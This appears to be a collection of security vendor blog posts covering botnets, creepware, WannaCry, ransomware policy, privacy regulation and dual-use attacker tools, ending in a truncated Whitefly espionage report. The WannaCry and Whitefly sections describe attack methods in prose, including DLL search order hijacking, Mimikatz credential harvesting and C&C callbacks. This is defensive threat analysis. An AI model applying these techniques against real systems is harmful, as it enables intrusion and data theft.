text
stringlengths 0
383k
|
|---|
What the MITRE 2023 Test Results Mean
Join SANS webinar to discuss how to apply the results
It’s complicated. MITRE Engenuity ATT&CK® Evaluations are difficult to understand. The latest release is no different. The MITRE 2023 results performed analysis on multiple vendors’ defenses against the behavior of the Turla adversary in two well thought-out and well executed attacks against a mythical company. What these results reveal, by design, is not winners and losers. What they reveal should be determined by your specific security role.
Your perspective is critical in evaluating product performance. For example, if you’re an Admin who is actively trying to deal with an attack, you may not be concerned with which API the threat used to launch a file. However, if you’re the Forensic analyst, and you want to identify a specific threat actor, the technique used to launch a file - particularly if it is novel - might be immensely important.
It’s complicated. But not impossible. And we can help you determine what’s important to you and how to practically assess how well a product answers your needs. Please join us for What the MITRE 2023 Test Means for You, a webinar hosted by SANS Analyst Matt Bromiley, 1 pm EDT, 10 am PDT, on Sept. 28, 2023.
|
What the New NIST Privacy Framework Means to You
Big news is coming when NIST takes the wraps off a new privacy framework
Thanks to the General Data Privacy Regulation (GDPR) of the European Union, which took full effect in May 2018, privacy is at center stage worldwide. Penalties are being meted out for violations, and organizations of all kinds need to understand and comply with the law. In addition, the California Consumer Privacy Act (CCPA) was enacted in June 2018, with many other states working on similar bills.
The rash of laws is in response to the very real threats to privacy that are endemic to the digital age in which we live. But there is good news. The National Institute of Standards and Technology (NIST) is on the case, facilitating the creation of a Privacy Framework, along the lines of its highly acclaimed Cyber Security Framework. Work began in October 2018 and version 1.0 is due in October 2019 following a public comment period that is soon to begin.
As with the Cyber Security Framework, NIST is playing the role of facilitator for public and private companies and other organizations to meet, discuss, and decide what should be in, and not in, the framework. I am honored to be participating in the process as Symantec’s representative. When NIST asks for input, I work with the Symantec team to submit a response.
Progress update
At the heart of the privacy discussion is data. To safeguard privacy, you need to understand what data you have, where it’s located and how it’s classified. If it’s personally-identifiable information (PII), you need to know whether it’s relevant to GDPR or CCPA or another privacy regulation such as HIPAA in healthcare and FERPA in the academic world. Like the Cyber Security Framework, the Privacy Framework identifies four key activities regarding risks: identify, assess, manage, and communicate.
A major point of debate is whether to integrate the Privacy Framework with the Cyber Security Framework, either completely, partially, or not at all. This discussion is proceeding along two proposed paths: Integrated Core vs. Separated Core. NIST is looking for feedback for which core participants prefer. My view is that it should be more integrated, rather than less.
Although security and privacy are not identical, they are closely related. The saying goes, “You can have security without privacy, but you can’t have privacy without security.” Security is fundamental to protecting an organization’s privacy or the privacy rights of the data subject.
Data protection, fundamental to security, is also fundamental to privacy. If you can see who is interacting with what data and what they are doing with it, you can assert control. For example, when a spreadsheet containing PII is sent as an email attachment, it can be automatically blocked.
To safeguard privacy, you need to understand what data you have, where it’s located and how it’s classified.
Protection against ransomware, a key goal of a cyber security plan, is also highly relevant to privacy. For example, if a piece of ransomware should take data, rather than just encrypt it, a privacy compromise will have occurred.
A challenging topic on the agenda is the impact of AI and machine learning (ML) on privacy. For example, data analytic inputs can betray bias in such processes as facial recognition. Biased ML actions in turn could result in the incorrect classification of data or the release of PII about a data subject.
The Privacy Framework, like the Cyber Security Framework, will be written in language that is understandable by a wide range of readers, not just technology experts. And it will be flexible enough to be tailored to the different sizes and missions of a variety of organizations. Organizational leaders are responsible to determine how to implement the Privacy Framework based on risk tolerance and what makes sense for their organizations. And keep in mind when organizations implement the framework, they don’t automatically achieve compliance with GDPR, CCPR or other regulations. The Privacy Framework will be a key tool, but compliance itself remains the responsibility the organizations themselves.
There is no doubt NIST’s role of facilitator is no easy task. But NIST is doing a great job, demonstrating the skills they so ably developed in the creation of the Cyber Security Framework. The stakes are high. Privacy, we all agree, is essential. But I am confident the NIST Privacy Framework will get the job done, for businesses, governments, and most important, people.
|
What to do when Botnets Go Berserk
The threat posed by large-scale botnet assaults opens a new chapter in enterprise security
A killer botnet commandeers a zombie network of unsecured, everyday devices to bring the Internet to its knees, zapping billions of dollars in commerce and causing disruption to services across the globe.
It might sound like a scene from a bad sci-fi movie, but it’s not. The real-life villain in this real-life story is the Mirai large-scale botnet, which preyed upon unsecured Internet of Things (IoT) devices to set off a massive DDoS assault in late 2016. Mirai ensnared Dyn, a company that controls much of the Internet’s domain name system (DNS) infrastructure, which in turn disrupted service on popular websites like Twitter, PayPal, and Netflix. The mastermind behind Mirai was not a shadowy nation-state or big-time hacker. In the case, culprits were three young computer geeks who stumbled into creating the most successful botnet to date as part of a scam to gain advantage in the world of Minecraft, a popular online computer game.
The high-profile attack is now in the rear-view mirror, but danger still abounds. With researchers predicting more than 8 billion IoT-connected “things”—a 31% spike over 2016 as we barrel towards 20.4 billion devices by 2020 - security experts are girding for the prospect of similar IoT-inspired malware mutants.
It’s difficult to establish exactly how many Mirai-infected devices are in the field, but there are some data points. As detailed in the 2017 Symantec Internet Security Threat Report (ISTR), Incapsula research found close to 50,000 unique IPs hosting Mirai-infected devices attempting to launch attacks on its network, and Level 3 identified 493,000 Mirai zombies on its network. Symantec launched its own honeypot to track attempted attacks on IoT devices. It found strikes had almost doubled, and at the peak of Mirai’s activity, attacks were coming every two minutes.
Mirai mostly targeted consumer IoT devices like unsecured household routers and DVRs along with CCTV cameras as part of its botnet brigade. But experts say this kind of threat vector may also have serious ramifications for the enterprise. Without proper security measures, companies could unknowingly get swept up in an Mirai-induced DDoS attack or risk having their own IoT assets, including industrial control systems, getting attacked.
“Most corporations are not prepared to survive DDoS attacks that come from small devices,” said Vijay Sarvepali, information security architect CERT Division, at Carnegie Mellon’s Software Engineering Institute. “Those that have done business resiliency planning properly will survive better than those that have not.”
Proactive Defense is the Best Defense
IoT devices are a prime target for botnet attacks like Mirai because unlike enterprise laptops or desktop computers, which are safeguarded with multiple levels of robust security, there is typically minimal protections on this gear--maybe a default user name and password, at best. This class of IoT devices is also unlikely to receive automatic updates, which leaves the door open to vulnerabilities that don’t get patched.
Infected IoT devices could potentially provide entrée to stealing personal data like user names and passwords or become a stepping stone to attacking other devices on a network. As part of a DDoS attempt on DNS providers like Dyn, the botnet gains access to a broad spectrum of corporate servers, increasing disruption and raising the stakes for its targets.
Enterprises are less likely to end up becoming an active participant in a Mirai-inspired IoT botnet and DDoS attack and more likely to end up on the receiving end, at risk for service disruptions, according to Candid Wueest, principal threat researcher at Symantec. If a botnet starts sending garbage data to a web site or ecommerce platform in droves, Wueest noted that the site can be quickly overwhelmed with requests and break down, unable to service customers and partners.
“Attackers don’t need to break into a company in terms of finding a password or unpatched system somewhere—they’ll masquerade as users to get in and take the service down so users can’t make use of it,” Wueest said, adding that the attack puts companies at risk for downtime, lost revenue, and even supply chain disruptions.
Planning for DDoS attacks in advance, not when an attack is underway, is the best line of defense. IT organizations need to beef up architecture resources and map out a robust resilency plan that includes locating servers in different data centers and data centers on different networks so there is no single point of failure, according to Rachel Kartch, analysis team lead at CMU’s SEI CERT Division.
In addition, organizations should have a response plan and recovery drill at the ready. Knowing who to call in the event of a problem is also important. “Have a black book you can follow—for example, limiting the amount of traffic in different countries, which might buy you time and help mitigate damage,” Wueest said.
There are also specialized outsourcing providers offering services that specialize in scaling infrastructure to respond to DDoD attacks. Many of these providers offer scrubbing or filtering services that function like a firewall, blocking problematic traffic before it hits the network.
Nevertheless, as with most security threats, there is no single, full-proof solution for protecting against this new strain of IoT botnets gone berserk. As Wueest notes: “taking a layered approach to security is always the best the defense.”
|
What We’re Doing to Fight the Scourge of Cyber Stalking
Here’s how we’re battling “creepware” to protect victims of stalking and intimate partner violence
It’s a sad fact of life that technology can be used to stalk, harass and harm people’s partners, acquaintances and even strangers. MIT Technology Review cites the domestic-violence charity Refuge as saying that approximately 95 percent of the cases it sees involve technology-based abuse of some kind.
Mobile devices are often the platform on which abusers deploy software we call “creepware” – apps that can be used to abuse, stalk, harass and spy on others, frequently to enable intimate partner violence. But it’s been very hard to detect creepware apps, in part because they often have less objectionable use cases, or at least pretend to, as in the case of an app that abruptly changed its name from “Girlfriend Cell Tracker” to “Family Locator for Android.”
A major challenge in detecting creepware is that apps that enable stalking and harassment are often careful about how they describe themselves.
Because of the seriousness of the problem, at Symantec we set out to how to detect creepware and protect victims and would-be victims from it. In concert with researchers at Cornell and New York University, we created CreepRank, which ranks the probability that any given app is used as creepware. We have incorporated CreepRank into Norton Mobile Security, which stops the covert surveillance apps it detects from being installed on people’s phones and warns of their presence if they are already there.
A major challenge in detecting creepware is that apps that enable stalking and harassment are often careful about how they describe themselves. While the occasional app does call itself “Girlfriend Tracker” or “Boyfriend Tracker,” apps are increasingly likely to choose strictly technical or innocuous-sounding names, even when designed for illegal uses. In addition, an overly prescriptive approach to discovering creepware would have limited the scope of our findings.
Types of Surveillance
We designed CreepRank for anonymized data about billions of app installations on 50 million mobile devices over years of data. We quickly discovered that people who install one abusive app are likely install many others as well. Latching onto this observation, we designed CreepRank around the insight expressed in the old Spanish proverb, “Tell me who your friends are and I’ll tell you who you are.” Accordingly, we applied CreepRank to millions of apps installed on 50 million phones, ranking each app according to its propensity to be installed alongside known abusive apps. The higher the CreepRank, the more likely the app is to be used for abusive purposes. A manual examination of the apps with the highest CreepRanks revealed well over 1000 apps used for a variety of malicious purposes.
The most common form of creepware, we found, are surveillance apps used to spy on others and track their locations, phone use, texts and more. They are often used for stalking and can lead to intimate partner violence. Some of the apps can spy on another person's texts by uploading them to the cloud, and then reading them. Some track people’s precise locations or use geofencing to alert a stalker that the victim has left the house. Some can read people’s call logs or record people’s calls and forward them to the harasser. Others can remotely turn on the microphone on a victim’s phone, record whatever is happening, and forward that to the stalker.
The most common form of creepware, we found, are surveillance apps used to spy on others and track their locations, phone use, texts and more.
Many of these surveillance apps are extremely troubling and are used to stalk, harass and commit violence. People who use them are very controlling and very abusive. They use the apps not just to track their victims, but also to isolate, intimidate and control them.
In a horrifying case, a Florida man killed his wife and two children several days after he installed surveillance software on his wife’s phone and used it to see her texts and photos she had been sharing, according to the New York Times. The man has been sentenced to three consecutive life terms.
Norton Mobile Security detects these types of surveillance apps and won’t let them be installed on a phone and will remove them if they’re already installed. You can see a screenshot, below. (For now, it’s available for Android devices, but we are working on incorporating it into our iOS app as well.) We have also worked with app stores to get surveillance apps removed so they’re not readily available.
Using CreepRank we have also identified other types of stalking, harassment and abusive apps, including “bombing” apps that let abusers send hundreds or thousands of text messages simultaneously to a victim, spoofing apps that hide the true phone number and identity of the harasser, apps that can be used to create fake suggestive images and harm a victim’s reputation, and other types of interpersonal attack apps. We are incorporating their CreepRank into Norton Mobile Security so they can be removed from victim’s phones, and have worked with app stores to get hundreds of abusive apps removed from distribution.
We’re working hard to take creepware out of the hands of abusers, and to give victims and potential victims the tools to protect themselves and be free of harassment, violence and attacks. As we do more, I’ll keep you informed, so check back here regularly.
|
What you need to know about the WannaCry Ransomware
The WannaCry ransomware struck across the globe in May 2017. Learn how this ransomware attack spread and how to protect your network from similar attacks.
UPDATE: May 23, 2017 00:30 GMT:
Symantec has uncovered further links to more closely tie the WannaCry attacks with the Lazarus group. For further details, see: WannaCry: Ransomware attacks show strong links to Lazarus group
UPDATE: May 15, 2017 23:24:21 GMT:
Symantec has uncovered two possible links that loosely tie the WannaCry ransomware attack and the Lazarus group:
Co-occurrence of known Lazarus tools and WannaCry ransomware: Symantec identified the presence of tools exclusively used by Lazarus on machines also infected with earlier versions of WannaCry. These earlier variants of WannaCry did not have the ability to spread via SMB. The Lazarus tools could potentially have been used as method of propagating WannaCry, but this is unconfirmed.
Shared code: As tweeted by Google’s Neel Mehta, there is some shared code between known Lazarus tools and the WannaCry ransomware. Symantec has determined that this shared code is a form of SSL. This SSL implementation uses a specific sequence of 75 ciphers which to date have only been seen across Lazarus tools (including Contopee and Brambul) and WannaCry variants.
While these findings do not indicate a definitive link between Lazarus and WannaCry, we believe that there are sufficient connections to warrant further investigation. We will continue to share further details of our research as it unfolds.
A virulent new strain of ransomware known as WannaCry (Ransom.Wannacry) has hit hundreds of thousands of computers worldwide since its emergence on Friday, May 12. WannaCry is far more dangerous than other common ransomware types because of its ability to spread itself across an organization’s network by exploiting critical vulnerabilities in Windows computers, which were patched by Microsoft in March 2017 (MS17-010). The exploit, known as “Eternal Blue,” was released online in April in the latest of a series of leaks by a group known as the Shadow Brokers, who claimed that it had stolen the data from the Equation cyber espionage group.
Am I protected from the WannaCry ransomware?
Symantec Endpoint Protection (SEP) and Norton have proactively blocked any attempt to exploit the vulnerabilities used by WannaCry, meaning customers were fully protected before WannaCry first appeared. SEP14 Advanced Machine Learning proactively blocked all WannaCry infections on day zero, without any updates.
The Blue Coat Global Intelligence Network (GIN) provides automatic detection to all enabled products for web-based infection attempts.
Symantec and Norton customers are automatically protected against WannaCry using a combination of technologies. Proactive protection was provided by:
IPS network-based protection
SONAR behavior detection technology
Advanced Machine Learning
Intelligent Threat Cloud
Customers should have these technologies enabled for full proactive protection. SEP customers are advised to migrate to SEP 14 to take advantage of the proactive protection provided by Advanced Machine Learning signatures.
What is the WannaCry ransomware?
WannaCry searches for and encrypts 176 different file types and appends .WCRY to the end of the file name. It asks users to pay a US$300 ransom in bitcoins. The ransom note indicates that the payment amount will be doubled after three days. If payment is not made after seven days it claims the encrypted files will be deleted. However Symantec has not found any code within the ransomware which would cause files to be deleted.
Can I recover the encrypted files or should I pay the ransom?
Decryption of encrypted files is not possible at present but Symantec researchers continue to investigate the possibility. See this article for further details. If you have backup copies of affected files, you may be able to restore them. Symantec does not recommend paying the ransom.
In some cases, files may be recovered without backups. Files saved on the Desktop, My Documents, or on a removable drive are encrypted and their original copies are wiped. These are not recoverable. Files stored elsewhere on a computer are encrypted and their original copies are simply deleted. This means they could be recovered using an undelete tool.
When did WannaCry appear and how quickly did it spread?
WannaCry first appeared on Friday, May 12. Symantec saw a dramatic upsurge in the number of attempts to exploit the Windows vulnerabilities used by WannaCry from approximately 8:00 GMT onwards. The number of exploit attempts blocked by Symantec dropped slightly on Saturday and Sunday but remained quite high. Exploit numbers increased on Monday, presumably as people returned to work after the weekend.
Figure 1. Number of exploit attempts blocked by Symantec of Windows vulnerability used by WannaCry per hour
Figure 2. Number of exploit attempts blocked by Symantec of Windows vulnerability used by WannaCry per day
Figure 3. Heatmap showing Symantec detections for WannaCry, May 11 to May 15
Who is impacted?
Any unpatched Windows computer is potentially susceptible to WannaCry. Organizations are particularly at risk because of its ability to spread across networks and a number of organizations globally have been affected, the majority of which are in Europe. However individuals can also be affected.
Is this a targeted attack?
Current WannaCry activity is not believed to be part of a targeted attack.
Why is it causing so many problems for organizations?
WannaCry has the ability to spread itself within corporate networks without user interaction, by exploiting known vulnerabilities in Microsoft Windows. Computers that do not have the latest Windows security updates applied are at risk of infection.
How is WannaCry spread?
While WannaCry can spread itself across an organization’s networks by exploiting a vulnerability, the initial means of infection—how the first computer in an organization is infected—remains unconfirmed. Symantec has seen some cases of WannaCry being hosted on malicious websites, but these appear to be copycat attacks, unrelated to the original attacks.
How does the ransom payment work?
The WannaCry attackers request that the ransom be paid using Bitcoins. WannacCy generates a unique Bitcoin wallet address for each infected computer, however due to a race condition bug this code does not execute correctly. WannaCry then defaults to three hardcoded Bitcoin addresses for payment. The attackers are unable to identify which victims have paid using the hardcoded addresses, meaning that victims are unlikely to get their files decrypted.
The WannaCry attackers subsequently released a new version of the malware that corrected this flaw, however this version was not as successful as the original.
On May 18, a new notice was displayed on infected computers informing victims that files will be decrypted if the ransom is paid.
What are the details on Symantec's protection?
Network-based protection
Symantec has the following IPS protection in place to block attempts to exploit the MS17-010 vulnerability:
OS Attack: Microsoft SMB MS17-010 Disclosure Attempt (released May 2, 2017)
Attack: Shellcode Download Activity (released April 24, 2017)
SONAR behavior detection technology
SONAR.AM.E.!g18
SONAR.AM.E!g11
SONAR.Cryptlk!g1
SONAR.Cryptlocker!g59
SONAR.Cryptlocker!g60
SONAR.Cryptlocker!g80
SONAR.Heuristic.159
SONAR.Heur.Dropper
SONAR.Heur.RGC!g151
SONAR.Heur.RGC.CM!g13
SONAR.Heuristic.158
SONAR.Heuristic.161
SONAR.SuspDataRun
SONAR.SuspLaunch!g11
SONAR.SuspLaunch!gen4
SONAR.TCP!gen1
Advanced Machine Learning
Heur.AdvML.A
Heur.AdvML.B
Heur.AdvML.D
Antivirus
For expanded protection and identification purposes, the following Antivirus signatures have been updated:
Ransom.Wannacry
Ransom.CryptXXX
Trojan.Gen.8!Cloud
Trojan.Gen.2
Ransom.Wannacry!gen1
Ransom.Wannacry!gen2
Ransom.Wannacry!gen3
Customers should run LiveUpdate and verify that they have the following definition versions or later installed in order to ensure they have the most up-to-date protection:
20170512.009
The following IPS signature also blocks activity related to Ransom.Wannacry:
System Infected: Ransom.Ransom32 Activity
Organizations should also ensure that they have the latest Windows security updates installed, in particular MS17-010 to prevent spreading.
What are best practices for protecting against ransomware?
New ransomware variants appear on a regular basis. Always keep your security software up to date to protect yourself against them.
Keep your operating system and other software updated. Software updates will frequently include patches for newly discovered security vulnerabilities that could be exploited by ransomware attackers.
Email is one of the main infection methods. Be wary of unexpected emails especially if they contain links and/or attachments.
Be extremely wary of any Microsoft Office email attachment that advises you to enable macros to view its content. Unless you are absolutely sure that this is a genuine email from a trusted source, do not enable macros and instead immediately delete the email.
Backing up important data is the single most effective way of combating ransomware infection. Attackers have leverage over their victims by encrypting valuable files and leaving them inaccessible. If the victim has backup copies, they can restore their files once the infection has been cleaned up. However organizations should ensure that backups are appropriately protected or stored off-line so that attackers can’t delete them.
Using cloud services could help mitigate ransomware infection, since many retain previous versions of files, allowing you to roll back to the unencrypted form.
|
What’s Fueling the Ransomware Epidemic?
Symantec shines a light
Less than two months into 2024, we have seen an explosion of dual-use tools exploited in ransomware attacks. Dual-use tools are legitimate software tools created to perform specific business and IT functions, but, instead, are installed and employed by attackers to help commit ransomware attacks. While most active ransomware groups have exploited some dual-use tools in the past, the sheer number of tools being used now has grown exponentially.
This rapid expansion of dual-use tools in ransomware attacks underscores the role that legitimate software abuse plays in fueling the ransomware epidemic. As we revealed in our recent report, “2024 Ransomware Threat Landscape,” attackers are increasingly using legitimate software, also known as “Living Off the Land (LOTL)” software throughout ransomware attacks to purposely minimize their dependence on malware. In fact, the National Security Agency (NSA), the Cybersecurity and Infrastructure Security Agency (CISA), the Federal Bureau of Investigation (FBI), and the United Kingdom National Cyber Security Center (NSC-UK) now have joined together to help defenders better identify and protect against these attacks with the publication of a new report, “Identifying and Mitigating Living Off the Land Techniques.”
In another white paper, “Advances in Endpoint Security,” Dave Gruber, Principal Analyst Enterprise Strategy Group (ESG) writes, “More than half of security leaders (52%) reported to ESG that security operations are more challenging than they were two years ago, fueled by a growing and changing attack surface alongside a rapidly changing threat landscape. This includes an increased use of LOTL tools.”
And the risks posed by LOTL and dual-use tools extend far beyond ransomware. As CISA, the FBI, NCSC and the NSA recently revealed, nation-state actors often use these techniques to evade detection. For example, BlackTech actors use living off the land TTPs to blend in with normal operating system and network activities, allowing them to evade detection by endpoint detection and response (EDR) products.
LOTL vs. Dual-Use Tool-Based Attacks
The majority of LOTL tools are legitimate software already installed on a device and often a component of Windows such as PowerShell, WMI and Vssadmin. Based on our analysis, most ransomware groups have predefined methods to use these LOTL tools in their arsenal. In contrast, dual-use tools are widely used legitimate software packages that are often introduced by attackers onto targeted networks. Remote desktop/remote administration software is the most commonly abused dual use category, employed to control endpoints in place of deploying malware. In fact, the LockBit ransomware group recently made news when it took advantage of remote monitoring and management software to spread its foothold in targeted networks.
Other popular dual-use tools that we have observed in ransomware attacks include:
PsExec: Microsoft Sysinternals tool for executing processes on other systems. The tool is primarily used by attackers to move laterally on victim networks.
NetScan: SoftPerfect Network Scanner (netscan.exe), a publicly available tool used for discovery of host names and network services.
AdFind: A publicly available tool that is used to query Active Directory. It has legitimate uses, but is widely used by attackers to help map a network.
Rclone: Open-source tool that can legitimately be used to migrate content to the cloud, but has been abused by ransomware actors to exfiltrate data from victim machines.
AnyDesk: A legitimate remote desktop application, which recently suffered its own hack. AnyDesk and similar tools are often used by attackers to obtain remote access to computers on a network.
In their recent report, CISA accurately sums up the many security challenges defenders are facing when trying to prevent stealth attackers from abusing known “good” tools. “There is a general lack of conventional indicators of compromise (IOCs) associated with LOTL activity, complicating network defenders’ efforts to identify, track, and categorize malicious behavior.” Traditional security methods are not effective in protecting enterprises from this risk.
Protecting against the malicious use of legitimate tools that are critical to an organization is a tough problem. Is there an easy solution? We will address this in our next blog.
|
When it Comes to Ransomware Demands, Just say No
While some targets have paid to get back their data, experts say most victims continue to reject extortion demands
When Dave Richards learned cyber hackers had locked down 23 of his municipal servers in West Haven, Connecticut on October 16, he quickly notified his bosses in the mayor’s office and took the usual steps of calling in state and local police and the Department of Homeland Security.
The criminals, who were operating from overseas, were demanding a ransom to restore the city’s access to what the city deemed “critical” networks. Richards, the city’s information technology manager, along with Mayor Nancy Rossi, and local police IT experts, agreed that the best course of action was to pay the hackers a $2,000 ransom in bitcoin to unlock the servers.
Three weeks later, Richards is still cleaning up the malware mess. “We’ve got the FBI and the DHS in here still finding things,” he said. “It’s an ongoing investigation. We’re still rebuilding.”
Security experts and law enforcement agencies have a rule when ransomware hackers try to extort money from companies, municipalities, utilities, hospitals, or individuals: Don’t pay.
“First of all, that money is then used to proliferate this activity,” says Joel DeCapua, the supervisory special agent for the FBI’s cyber crimes division. “You’re paying these bad actors to target other people. Second, organizations that pay a ransom think their problems are over. But a lot of times there’s a lot of nasty malware left on their systems that they don’t know about. You can pay, but there’s still malware on there, re-infecting the system or stealing information.”
In 2017, the FBI received 1,783 complaints of ransomware attacks. That figure belies the overall problem and most likely reflects only the organizations (like hospitals) required by law to report such incursions. Actual ransomware detections stood at 1,242 per day that year, according to Symantec. In the complaints filed with the FBI, victims reported $2.3 million in total losses. That figure, says the FBI, could include not only ransoms paid, but remediation and downtime costs.
Security experts and law enforcement agencies have a rule when ransomware hackers try to extort money from companies, municipalities, utilities, hospitals, or individuals: Don’t pay.
Again, that’s only the figure officially reported to authorities. Neither the FBI nor industry experts keep a tally on how many victims pay versus those who don’t. However, DeCapua says that through the FBI’s relationships with IT security firms sent in to mop up after an attack, “we hear anecdotally that too many victims elect to just pay the ransom and hope for the best.”
The decision to pay comes down to a couple of key issues: One is whether the victim has sufficiently backed up their system and their files and, more crucially, whether they’ve run tests to determine that those backups will work when they need them. (Organizations often fail to do this because testing requires downtime and that hurts the bottom-line productivity.
The second issue is arguably more pressing: financial calculation. System downtime is costly. So are idled workers. And so is brute-force rebuilding from backups. It’s far more expedient, especially if your backups are out of date, to pony up. “For their own wallet, companies and cities will decide to pay,” says Kevin Haley, director of product management for Symantec Security Response. “It’s a phenomenal cost for some victims to recover their files. It shouldn’t be a mystery to anyone if they haven’t figured out how to recover from a crisis like this.”
Those concerns weighed on West Haven’s pay-the-hackers decision. Though the city didn’t originally want to offer up the money, officials looked at other municipalities that hadn’t paid ransomware hackers and didn’t like the price tags they saw.
For example, this past March, ransomware attackers hit the city of Atlanta with the SamSam encryption virus, crippling the city’s computer systems and demanding a ransom. West Haven officials clearly had that experience in mind and apparently, when it chose to hand over $2,000 to hackers. “Atlanta didn’t pay” when it was attacked, West Haven’s Corporation Counsel Lee Tiernan explained to the New Haven Register shortly after the pay off. “They [the hackers] wanted $57,000.”
But “$3 million later, they’re still trying to clean it up.” In fact, Atlanta, which had been criticized prior to the attack for not upgrading its IT infrastructure, could end up paying as much $17 million in contracts and costs associated with the attack, according the Atlanta-Journal Constitution.
Don’t Bet on Good Intentions of Cyber Criminals
Despite the associated costs of re-building from backups, the FBI and security industry analysts say the trend is toward not giving in to extortion demands.
“More and more people are not paying,” said Symantec’s Kevin Haley.
In fact, just three days before the West Haven attack, hackers deploying the malware EMOTET launched a virus known as RYUK against the Onslow Water and Sewer in North Carolina. Instead of paying the ransom demands, the utility set about rebuilding their system from backups. Their reasoning, said utility officials in a statement: Any ransom monies “would be used to fund criminal, and perhaps terrorist activities in other countries. Furthermore, there is no expectation that payment of a ransom would forestall repeat attacks. ONWASA will not negotiate with criminals nor bow to their demands.”
Even if they had paid a ransom, as did West Haven, DeCapua says there’s never a guarantee a victim will get their files restored, and that is perhaps the biggest reason not to do business with hackers.
“These guys are criminals,” he says. “You can’t rely on them to just keep their promise. And a lot of them are not technically sophisticated. They just don’t know how their virus is going to affect different operating systems. We’ve seen instances where victim pays the ransom but because of the hackers’ incompetence they’ve not able to decrypt the computer.”
|
Where Does Privacy Regulation Go From Here?
Improved data protection and increased transparency are trending around the globe
Last month I wrote about the privacy wins and unanticipated challenges resulting from the European Union’s General Data Protection Regulation (GDPR), which took effect on May 25. The GDPR has led to an unprecedented level of transparency and awareness and has affected countless individuals and businesses across the globe.
The question currently on everyone’s mind: What do these impacts mean for privacy regulation in the future? Speaking as the Director of Symantec’s GDPR Strategy: embrace ‘GDPR-level privacy’ because chances are we will see more of it in more places around the globe. Here’s why:
GDPR as de facto Standard
Given the sheer size of the European digital market and the extraterritorial scope of the GDPR, the GDPR is likely to successfully spread its principles and stringent requirements to other regions.
The European Union is resolutely pursuing its efforts to export its model through the so-called adequacy principle, whereby non-European countries who want to do data business with Europe are incentivized to import European grade privacy protection into their national laws.
While this trend intensifies, with countries like Japan, South Korea and India contemplating the benefits of GDPR adequacy, European regulators are pushing further ahead: The next generation of privacy regulation for electronic communications, also known as ePrivacy, is already in the works. The ambition is clear: build on the GDPR baseline to further increase privacy protections for the Internet of Everything era.
APJ Focuses on Mandatory Reporting
Data protection law continues to develop swiftly in other regions as well, with notable developments in the Asia-Pacific region. In Australia, the Privacy Amendment (Notifiable Data Breaches) Act 2016 came into effect this February, establishing mandatory reporting obligations for any organization that suffers an eligible data breach. Companies operating in Singapore are also preparing for the likely adoption of a mandatory breach notification law and for a possible new Data Protection Trustmark certification.
California Passes First U.S. Consumer Privacy Law
California’s governor signed the California Consumer Privacy Act of 2018 into law last month. This law is considered the strongest, most aggressive privacy protection measure in the U.S. and takes effect on January 1, 2020. Similar to the GDPR, it requires that companies tell Californians what information they are collecting, such as name, IP address, email address, postal address, etc., as well as how that information is being used. Sherrie Osborne, Symantec’s Director of US Privacy, will provide more information on this development in an upcoming blog post.
Privacy regulation will continue to evolve and Symantec will continue to play an integral role in making the world a better and safer place. We’ll stay as focused as we have been on advocating in favor of privacy and security in public policy making, upholding our own privacy compliance efforts accordingly, and striving for privacy excellence in the products and services we create.
Our most crucial objectives will be to stay focused on preserving our users’ and business partners’ trust by helping our customers and users protect their privacy and their data as best possible.
If you found this information useful, you may also enjoy:
California Consumer Privacy Act of 2018
|
Whitefly: Espionage Group has Singapore in Its Sights
Group behind the SingHealth breach is also responsible for a string of other attacks in the region.
In July 2018, an attack on Singapore’s largest public health organization, SingHealth, resulted in a reported 1.5 million patient records being stolen. Until now, nothing was known about who was responsible for this attack. Symantec researchers have discovered that this attack group, which we call Whitefly, has been operating since at least 2017, has targeted organizations based mostly in Singapore across a wide variety of sectors, and is primarily interested in stealing large amounts of sensitive information.
Whitefly compromises its victims using custom malware alongside open-source hacking tools and living off the land tactics, such as malicious PowerShell scripts.
"#Whitefly, the group behind the SingHealth breach, is also responsible for a string of other attacks in Singapore https://symc.ly/2X1RALf"
CLICK TO TWEET
Whitefly’s targets
From mid-2017 to mid-2018, Whitefly launched targeted attacks against multiple organizations. While most of these organizations were based in Singapore, some were multinational organizations with a presence in Singapore.
To date, Whitefly has attacked organizations in the healthcare, media, telecommunications, and engineering sectors.
How Whitefly compromises its victims
Whitefly first infects its victims using a dropper in the form of a malicious .exe or .dll file that is disguised as a document or image. These files frequently purport to offer information on job openings or appear to be documents sent from another organization operating in the same industry as the victim. Given the nature of disguise, it’s highly likely that they are sent to the victim using spear-phishing emails.
If opened, the dropper runs a loader known as Trojan.Vcrodat on the computer. Whitefly has consistently used a technique known as search order hijacking to run Vcrodat. This technique takes advantage of the fact that Windows does not require an application to provide a specific path for a DLL that it wishes to load. If no path is provided, Windows searches for the DLL in specific locations on the computer in a pre-defined order. Attackers can therefore give a malicious DLL the same name as a legitimate DLL but place it ahead of the legitimate version in the search order so that it will be loaded when Windows searches for it. Whitefly frequently delivers Vcrodat as a malicious DLL that has the same name as DLLs belonging to legitimate software from various security vendors. The group leverages search order hijacking to assure that its malicious DLLs will be executed. Targeting security applications could allow the attackers to gain higher privileges for the malware, since the vendor’s component may be run with elevated privileges.
Once executed, Vcrodat loads an encrypted payload on to the victim’s computer. The payload contacts a command and control (C&C) domain. Whitefly configures multiple C&C domains for each target. The payload sends system information about the infected computer to the C&C server and downloads additional tools.
Whitefly usually attempts to remain within a targeted organization for long periods of time—often months—in order to steal large volumes of information.
Once the initial computer on the targeted organization’s network is infected with Vcrodat, Whitefly begins mapping the network and infecting further computers. In order to carry out this operation, it uses publicly available tools, including Mimikatz (Hacktool.Mimikatz) and an open-source tool (SHA2: 263dc5a8121d20403beeeea452b6f33d51d41c6842d9d19919def1f1cb13226c) that exploits a known Windows privilege escalation vulnerability (CVE-2016-0051) on unpatched computers. The attackers rely heavily on tools such as Mimikatz to obtain credentials. Using these credentials, the attackers are able to compromise more machines on the network and, from those machines, again obtain more credentials. They perform this tactic repeatedly until they gain access to the desired data.
Whitefly usually attempts to remain within a targeted organization for long periods of time—often months—in order to steal large volumes of information. It keeps the compromise alive by deploying a number of tools that facilitate communication between the attackers and infected computers. These tools include a simple remote shell tool that will call back to the C&C server and wait for commands, and an open-source hacking tool called Termite (Hacktool.Rootkit), which allows Whitefly to perform more complex actions such as controlling multiple compromised machines at a time.
Additional malware used in selected attacks
In some attacks, Whitefly has used a second piece of custom malware, Trojan.Nibatad. Like Vcrodat, Nibatad is also a loader that leverages search order hijacking, and downloads an encrypted payload to the infected computer. And similar to Vcrodat, the Nibatad payload is designed to facilitate information theft from an infected computer.
